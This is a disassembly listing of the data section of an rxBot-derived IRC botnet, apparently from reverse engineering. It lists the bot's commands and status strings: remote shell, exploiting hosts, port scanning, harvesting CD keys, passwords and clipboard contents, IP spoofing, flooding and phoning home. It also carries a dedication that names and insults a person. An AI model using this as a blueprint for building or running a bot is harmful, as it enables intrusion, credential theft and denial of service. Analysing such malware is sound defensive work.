aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401C87+13E0o
align 4
aServer_5 db 'Server',0 ; DATA XREF: sub_401C87+13F9o
align 10h
dword_440320 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401C87+13FEo
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401C87+1409o
align 10h
aFfstop db 'ffstop',0 ; DATA XREF: sub_401C87+141Eo
align 4
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401C87+1433o
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_401C87+1448o
align 4
aClonestop db 'clonestop',0 ; DATA XREF: sub_401C87+145Do
align 4
aClone db 'Clone',0 ; DATA XREF: sub_401C87+1476o
align 10h
dword_440370 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401C87+147Bo
aSecurestop db 'securestop',0 ; DATA XREF: sub_401C87+1486o
align 4
aSecure_1 db 'Secure',0 ; DATA XREF: sub_401C87+149Fo
align 4
dword_440394 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401C87+14A4o
aScanstop db 'scanstop',0 ; DATA XREF: sub_401C87+14AFo
align 10h
aScan_0 db 'Scan',0 ; DATA XREF: sub_401C87+14C8o
align 4
dword_4403B8 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401C87+14CDo
aScanstats db 'scanstats',0 ; DATA XREF: sub_401C87+14D8o
align 10h
aStats db 'stats',0 ; DATA XREF: sub_401C87+14EDo
align 4
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401C87+1502o
align 4
aTrstats db 'trstats',0 ; DATA XREF: sub_401C87+1517o
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401C87+152Co
align 4
aCbstats db 'cbstats',0 ; DATA XREF: sub_401C87+1541o
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401C87+1556o
aExplist db 'explist',0 ; DATA XREF: sub_401C87+156Bo
aReconnect db 'reconnect',0 ; DATA XREF: sub_401C87+1580o
aR db 'r',0 ; DATA XREF: sub_401C87+1595o
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401C87+15AAo
align 4
aDc db 'dc',0 ; DATA XREF: sub_401C87+15BFo
align 4
aQuit_0 db 'quit',0 ; DATA XREF: sub_401C87+15D4o
align 2
aQ db 'q',0 ; DATA XREF: sub_401C87+15E9o
aStatus db 'status',0 ; DATA XREF: sub_401C87+15FEo
align 4
aS_0: ; DATA XREF: sub_401C87+1613o
unicode 0, <s>,0
aId db 'id',0 ; DATA XREF: sub_401C87+1628o
align 4
aI: ; DATA XREF: sub_401C87+163Do
unicode 0, <i>,0
aReboot db 'reboot',0 ; DATA XREF: sub_401C87+1652o
align 10h
unk_440460 db 2Dh ; - ; DATA XREF: sub_401C87+1669o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRebootingSyste db 'Rebooting system.',0
align 10h
unk_440480 db 2Dh ; - ; DATA XREF: sub_401C87+1670o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToReboot db 'Failed to reboot system.',0
align 4
aThreads db 'threads',0 ; DATA XREF: sub_401C87+16A4o
aT: ; DATA XREF: sub_401C87+16B9o
unicode 0, <t>,0
aAliases db 'aliases',0 ; DATA XREF: sub_401C87+16CEo
aAl db 'al',0 ; DATA XREF: sub_401C87+16E3o
align 10h
aLog db 'log',0 ; DATA XREF: sub_401C87+16F8o
aLg db 'lg',0 ; DATA XREF: sub_401C87+170Do
align 4
aClearlog db 'clearlog',0 ; DATA XREF: sub_401C87+1722o
align 4
aClg db 'clg',0 ; DATA XREF: sub_401C87+1737o
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401C87+174Co
aNi db 'ni',0 ; DATA XREF: sub_401C87+1761o
align 4
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401C87+1776o
aSi db 'si',0 ; DATA XREF: sub_401C87+178Bo
align 10h
aRemove db 'remove',0 ; DATA XREF: sub_401C87+17A0o
align 4
aRm db 'rm',0 ; DATA XREF: sub_401C87+17B5o
align 4
aProcs db 'procs',0 ; DATA XREF: sub_401C87+17CAo
align 4
aPs db 'ps',0 ; DATA XREF: sub_401C87+17DFo
align 4
aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401C87+17F4o
align 4
aKey db 'key',0 ; DATA XREF: sub_401C87+1809o
aUptime db 'uptime',0 ; DATA XREF: sub_401C87+181Eo
align 10h
aUp db 'up',0 ; DATA XREF: sub_401C87+1833o
align 4
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401C87+1848o
align 10h
aDrv db 'drv',0 ; DATA XREF: sub_401C87+185Do
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401C87+1872o
align 10h
aDll db 'dll',0 ; DATA XREF: sub_401C87+1887o
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401C87+189Co
aOcmd db 'ocmd',0 ; DATA XREF: sub_401C87+18B1o
align 4
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401C87+18C6o
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_401C87+18DFo
align 4
dword_44056C dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401C87+18E4o
dword_440578 dd 6F6877h ; DATA XREF: sub_401C87+18EFo
dword_44057C dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401C87+190Co
dword_440590 dd 706D453Ch, 3E7974h ; DATA XREF: sub_401C87:loc_4035BEo
dword_440598 dd 202E6425h, 7325h ; DATA XREF: sub_401C87+1946o
unk_4405A0 db 2Dh ; - ; DATA XREF: sub_401C87+197Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aLoginListCompl db 'Login list complete.',0
align 4
aSpoof db 'spoof',0 ; DATA XREF: sub_401C87+199Co
align 4
aOff db 'off',0 ; DATA XREF: sub_401C87+19B3o
unk_4405D0 db 2Dh ; - ; DATA XREF: sub_401C87+19CEo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aGetclip db 'getclip',0 ; DATA XREF: sub_401C87+1A0Co
aGc db 'gc',0 ; DATA XREF: sub_401C87+1A21o
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401C87+1A36o
align 10h
aFarp db 'farp',0 ; DATA XREF: sub_401C87+1A4Bo
align 4
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401C87+1A60o
align 4
aFdns db 'fdns',0 ; DATA XREF: sub_401C87+1A75o
align 4
aCurrentip db 'currentip',0 ; DATA XREF: sub_401C87+1A8Ao
align 4
aCip db 'cip',0 ; DATA XREF: sub_401C87+1A9Fo
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401C87+1AB4o
align 4
aRlogin db 'rlogin',0 ; DATA XREF: sub_401C87+1AC9o
align 4
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401C87+1ADEo
align 10h
aHttp db 'http',0 ; DATA XREF: sub_401C87+1AF3o
align 4
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401C87+1B08o
align 4
aTftp db 'tftp',0 ; DATA XREF: sub_401C87+1B1Do
align 4
aCrash db 'crash',0 ; DATA XREF: sub_401C87+1B32o
align 4
dword_440684 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h
; DATA XREF: sub_401C87+1B48o
dd 746F6220h, 2Eh
aCrash_0 db 'crash',0 ; DATA XREF: sub_401C87+1B82o
align 4
aScanall db 'scanall',0 ; DATA XREF: sub_401C87+1B98o
aSa db 'sa',0 ; DATA XREF: sub_401C87+1BADo
align 4
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401C87+1BC2o
align 10h
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401C87+1BD9o
align 4
aFindpass db 'findpass',0 ; DATA XREF: sub_401C87+1BECo
align 10h
aFp db 'fp',0 ; DATA XREF: sub_401C87+1BFDo
align 4
unk_4406F4 db 2Dh ; - ; DATA XREF: sub_401C87+1C2Bo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
unk_44071C db 2Dh ; - ; DATA XREF: sub_401C87+1CA7o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToStar_0 db 'Failed to start search thread, error: <%d>.',0
unk_440758 db 2Dh ; - ; DATA XREF: sub_401C87+1D1Ao
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0
aRandom db 'Random',0 ; DATA XREF: sub_401C87+1ECDo
align 10h
aSequential db 'Sequential',0 ; DATA XREF: sub_401C87+1ED4o
align 10h
unk_4407B0 db 2Dh ; - ; DATA XREF: sub_401C87+1EFFo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
unk_44081C db 2Dh ; - ; DATA XREF: sub_401C87+1F5Eo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToStar_1 db '- Failed to start scan thread, error: <%d>.',0
align 4
unk_440858 db 2Dh ; - ; DATA XREF: sub_401C87:loc_403C47o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToStar_2 db '- Failed to start scan, port is invalid.',0
align 10h
unk_440890 db 2Dh ; - ; DATA XREF: sub_401C87+1FD6o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunning db ' Already running.',0
align 10h
unk_4408B0 db 2Dh ; - ; DATA XREF: sub_401C87+2083o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStartedO db ' Server started on Port: %d, File: %s.',0
align 4
unk_4408E4 db 2Dh ; - ; DATA XREF: sub_401C87+20DCo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToStar_3 db ' Failed to start server thread, error: <%d>.',0
align 10h
unk_440920 db 2Dh ; - ; DATA XREF: sub_401C87+21F8o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListenin db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_44095C db 2Dh ; - ; DATA XREF: sub_401C87+2251o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToStar_4 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_440998 db 2Dh ; - ; DATA XREF: sub_401C87+232Fo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListen_0 db '- Server listening on IP: %s:%d, Username: %s.',0
unk_4409D4 db 2Dh ; - ; DATA XREF: sub_401C87+2388o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToStar_5 db '- Failed to start server thread, error: <%d>.',0
align 10h
unk_440A10 db 2Dh ; - ; DATA XREF: sub_401C87+241Bo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 4
unk_440A34 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4040A9o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 10h
unk_440A60 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4040B0o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
unk_440A8C db 2Dh ; - ; DATA XREF: sub_401C87+2453o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 10h
unk_440AB0 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4040E1o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
dword_440ADC dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_401C87+246Ao
dd 2Dh
dword_440AF4 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h
; DATA XREF: sub_401C87+2498o
dd 72616F62h, 2E64h
unk_440B10 db 2Dh ; - ; DATA XREF: sub_401C87+24AEo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 4
unk_440B3C db 2Dh ; - ; DATA XREF: sub_401C87+24CDo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 4
unk_440B64 db 2Dh ; - ; DATA XREF: sub_401C87:loc_40415Eo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 4
dword_440B84 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh
; DATA XREF: sub_401C87+2566o
dd 2E7325h
dword_440B9C dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401C87+25B5o
aSearchComplete db '- Search completed.',0
unk_440BBC db 2Dh ; - ; DATA XREF: sub_401C87+25E1o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_0 db ' Already running.',0
align 4
aFull db 'full',0 ; DATA XREF: sub_401C87+2643o
align 4
dword_440BE4 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: sub_401C87+2663o
dd 696C2073h, 2E7473h
unk_440C00 db 2Dh ; - ; DATA XREF: sub_401C87+26C2o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToStartL db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_440C3C dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h
; DATA XREF: sub_401C87+26F3o
dd 746F4220h, 2Eh
dword_440C58 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h
; DATA XREF: sub_401C87+2748o
dd 2E6F666Eh, 0
dword_440C74 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh
; DATA XREF: sub_401C87+2777o
dd 6F666E49h, 2Eh
dword_440C90 dd 7325h ; DATA XREF: sub_401C87+27C8o
dword_440C94 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: sub_401C87+27FBo
dd 2E676Fh
unk_440CAC db 2Dh ; - ; DATA XREF: sub_401C87+2872o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToStar_6 db '- Failed to start listing thread, error: <%d>.',0
dword_440CE4 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h
; DATA XREF: sub_401C87+28A2o
dd 2E7473h
dword_440CFC dd 627573h ; DATA XREF: sub_401C87+28F4o
dword_440D00 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: sub_401C87+291Ao
dd 65726874h, 2E736461h, 0
unk_440D20 db 2Dh ; - ; DATA XREF: sub_401C87+2973o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToStar_7 db '- Failed to start list thread, error: <%d>.',0
align 4
dword_440D5C dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h
; DATA XREF: sub_401C87+29ACo
dd 2E7325h
unk_440D74 db 2Dh ; - ; DATA XREF: sub_401C87+29EAo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0
align 10h
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+2A36o
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_4046CFo
align 4
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_4046E6o
align 4
dword_440DD4 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh
; DATA XREF: sub_401C87+2A6Co
dd 6E697463h, 2E67h
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401C87:loc_404708o
align 4
dword_440E08 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh
; DATA XREF: sub_401C87+2A8Eo
dd 676E6974h, 2Eh
dword_440E24 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401C87+2B01o
dword_440E34 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401C87+2B06o
dword_440E44 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401C87+2B19o
dword_440E50 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401C87+2B1Eo
dword_440E60 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401C87+2BD1o
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_440E88 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401C87+2C2Ao
aFailedToStar_8 db '- Failed to start server thread, error: <%d>.',0
align 4
unk_440EC4 db 2Dh ; - ; DATA XREF: sub_401C87+2CC1o
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on: %s:%d.',0
align 10h
unk_440EF0 db 2Dh ; - ; DATA XREF: sub_401C87+2D2Fo
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToStar_9 db ' Failed to start server thread, error: <%d>.',0
align 10h
aSecure_0 db 'secure',0 ; DATA XREF: sub_401C87+2D4Fo
align 4
aSec_0 db 'sec',0 ; DATA XREF: sub_401C87+2D60o
aSecuring db 'Securing',0 ; DATA XREF: sub_401C87+2DBBo
align 4
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401C87+2DC2o
align 4
dword_440F54 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h
; DATA XREF: sub_401C87+2DC8o
dd 2E6D6574h, 0
dword_440F70 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401C87+2E2Co
aFailedToSta_10 db '- Failed to start secure thread, error: <%d>.',0
align 10h
unk_440FB0 db 2Dh ; - ; DATA XREF: sub_401C87:loc_404AEBo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
db 'from Hell?) who I love so much.',0
align 10h
dword_441060 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401C87+2E73o
unk_441070 db 2Dh ; - ; DATA XREF: sub_401C87+2EB1o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_1 db 'User %s logged out.',0
unk_441090 db 2Dh ; - ; DATA XREF: sub_401C87+2EC4o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNoUserLoggedIn db 'No user logged in at slot: %d.',0
align 4
unk_4410BC db 2Dh ; - ; DATA XREF: sub_401C87+2ECFo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aInvalidLoginSl db 'Invalid login slot number: %d.',0
align 4
unk_4410E8 db 2Dh ; - ; DATA XREF: sub_401C87+2F11o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_2 db 'User %s logged out.',0
a332_1 db '332',0 ; DATA XREF: sub_401C87+2F21o
aGet_2 db 'get',0 ; DATA XREF: sub_401C87:loc_404BC8o
unk_441110 db 2Dh ; - ; DATA XREF: sub_401C87+2F63o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 4
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401C87+2FBCo
align 4
unk_441154 db 2Dh ; - ; DATA XREF: sub_401C87+2FD4o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurr_0 db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 4
unk_44118C db 2Dh ; - ; DATA XREF: sub_401C87+2FF4o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
unk_4411C0 db 2Dh ; - ; DATA XREF: sub_401C87+301Eo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 4
aExploit db 'exploit',0 ; DATA XREF: sub_401C87+303Co
unk_4411F4 db 2Dh ; - ; DATA XREF: sub_401C87+30B9o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
unk_441224 db 2Dh ; - ; DATA XREF: sub_401C87+3115o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401C87+3135o
align 4
aRin db 'rin',0 ; DATA XREF: sub_401C87+314Ao
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401C87+315Fo
aRinms db 'rinms',0 ; DATA XREF: sub_401C87+3174o
align 10h
aFlood db 'flood',0 ; DATA XREF: sub_401C87+318Bo
align 4
aLoad db 'load',0 ; DATA XREF: sub_401C87+31B4o
align 10h
unk_4412A0 db 2Dh ; - ; DATA XREF: sub_401C87+3208o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aSClonesLoadedT db '- %s clones loaded to %s:%s',0
align 4
aPm_1 db 'pm',0 ; DATA XREF: sub_401C87+323Ao
align 10h
a__6: ; DATA XREF: sub_401C87+3255o
; sub_401C87+325Ao
unicode 0, < _>
aPrivmsgSS_3 db 'privmsg %s :%s',0 ; DATA XREF: sub_401C87+3286o
align 4
aCt db 'ct',0 ; DATA XREF: sub_401C87+32A3o
align 4
a__7: ; DATA XREF: sub_401C87+32BEo
; sub_401C87+32C3o
unicode 0, < _>
dword_4412EC dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
; DATA XREF: sub_401C87+32EFo
dword_441300 dd 746Eh ; DATA XREF: sub_401C87+330Co
byte_441304 db 20h, 0 ; DATA XREF: sub_401C87+3327o
word_441306 dw 5Fh ; DATA XREF: sub_401C87+332Co
dword_441308 dd 69746F6Eh, 25206563h, 253A2073h, 73h ; DATA XREF: sub_401C87+3358o
aMode db 'mode',0 ; DATA XREF: sub_401C87+3375o
align 2
asc_44131E db ' ',0 ; DATA XREF: sub_401C87+3390o
a_: ; DATA XREF: sub_401C87+3395o
unicode 0, <_>,0
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401C87+33C1o
align 10h
aJoin db 'join',0 ; DATA XREF: sub_401C87+33DEo
align 4
aJoinS db 'join %s',0 ; DATA XREF: sub_401C87+3400o
aPart_1 db 'part',0 ; DATA XREF: sub_401C87+341Do
align 4
aPartS db 'part %s',0 ; DATA XREF: sub_401C87+343Fo
aPartflood db 'partflood',0 ; DATA XREF: sub_401C87+345Co
align 4
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401C87+3483o
align 4
aPnick db 'pnick',0 ; DATA XREF: sub_401C87+34A0o
align 10h
aSI db '%s%i',0 ; DATA XREF: sub_401C87+34E0o
align 4
aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_401C87+34F8o
aJoinPart db 'join/part',0 ; DATA XREF: sub_401C87+3515o
align 4
aJoinS_0 db 'join %s',0 ; DATA XREF: sub_401C87+3543o
aPartSS_0 db 'part %s %s',0 ; DATA XREF: sub_401C87+356Co
align 10h
aJoinS_1 db 'join %s',0 ; DATA XREF: sub_401C87+35A3o
aPartSS_1 db 'part %s %s',0 ; DATA XREF: sub_401C87+35DFo
align 4
aJoinS_2 db 'join %s',0 ; DATA XREF: sub_401C87+3603o
aPartSS_2 db 'part %s %s',0 ; DATA XREF: sub_401C87+363Fo
align 4
aDcc db 'dcc',0 ; DATA XREF: sub_401C87+365Co
dword_4413CC dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: sub_401C87+36D9o
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
aNick_0 db 'nick',0 ; DATA XREF: sub_401C87+36F6o
align 4
aJoinS_3 db 'join %s',0 ; DATA XREF: sub_401C87+3720o
aNickS_1 db 'NICK %s',0 ; DATA XREF: sub_401C87+3750o
aNickS_2 db 'NICK %s',0 ; DATA XREF: sub_401C87+3793o
aNickS_3 db 'NICK %s',0 ; DATA XREF: sub_401C87+37D6o
aChgnick db 'chgnick',0 ; DATA XREF: sub_401C87+37F3o
aNickS_4 db 'NICK %s',0 ; DATA XREF: sub_401C87+381Co
aMsg db 'msg',0 ; DATA XREF: sub_401C87+3839o
aJoinS_4 db 'join %s',0 ; DATA XREF: sub_401C87+3867o
aPrivmsgSS db 'privmsg %s :%s',0 ; DATA XREF: sub_401C87+3890o
align 4
aPrivmsgSS_0 db 'privmsg %s :%s',0 ; DATA XREF: sub_401C87+38CCo
align 4
aPrivmsgSS_1 db 'privmsg %s :%s',0 ; DATA XREF: sub_401C87+3908o
align 4
aNotice_2 db 'notice',0 ; DATA XREF: sub_401C87+3925o
align 10h
aJoinS_5 db 'join %s',0 ; DATA XREF: sub_401C87+3953o
aNoticeSS_1 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401C87+397Co
align 4
aNoticeSS_2 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401C87+39B8o
align 4
aNoticeSS_3 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401C87+39F4o
align 4
aCtcp db 'ctcp',0 ; DATA XREF: sub_401C87+3A11o
align 10h
aJoinS_6 db 'join %s',0 ; DATA XREF: sub_401C87+3A3Fo
dword_4414B8 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_401C87+3A63o
dword_4414CC dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: sub_401C87+3A9Ao
dd 1
dword_4414E4 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_401C87+3AD1o
dd 0
dword_4414FC dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_401C87+3B08o
dd 0
dword_441514 dd 78696Dh ; DATA XREF: sub_401C87+3B25o
dword_441518 dd 6E696F6Ah, 732520h ; DATA XREF: sub_401C87+3B53o
dword_441520 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_401C87+3B77o
dword_441534 dd 49544F4Eh, 25204543h, 253A2073h, 73h ; DATA XREF: sub_401C87+3BB3o
dword_441544 dd 56495250h, 2047534Dh, 3A207325h, 7325h ; DATA XREF: sub_401C87+3BEFo
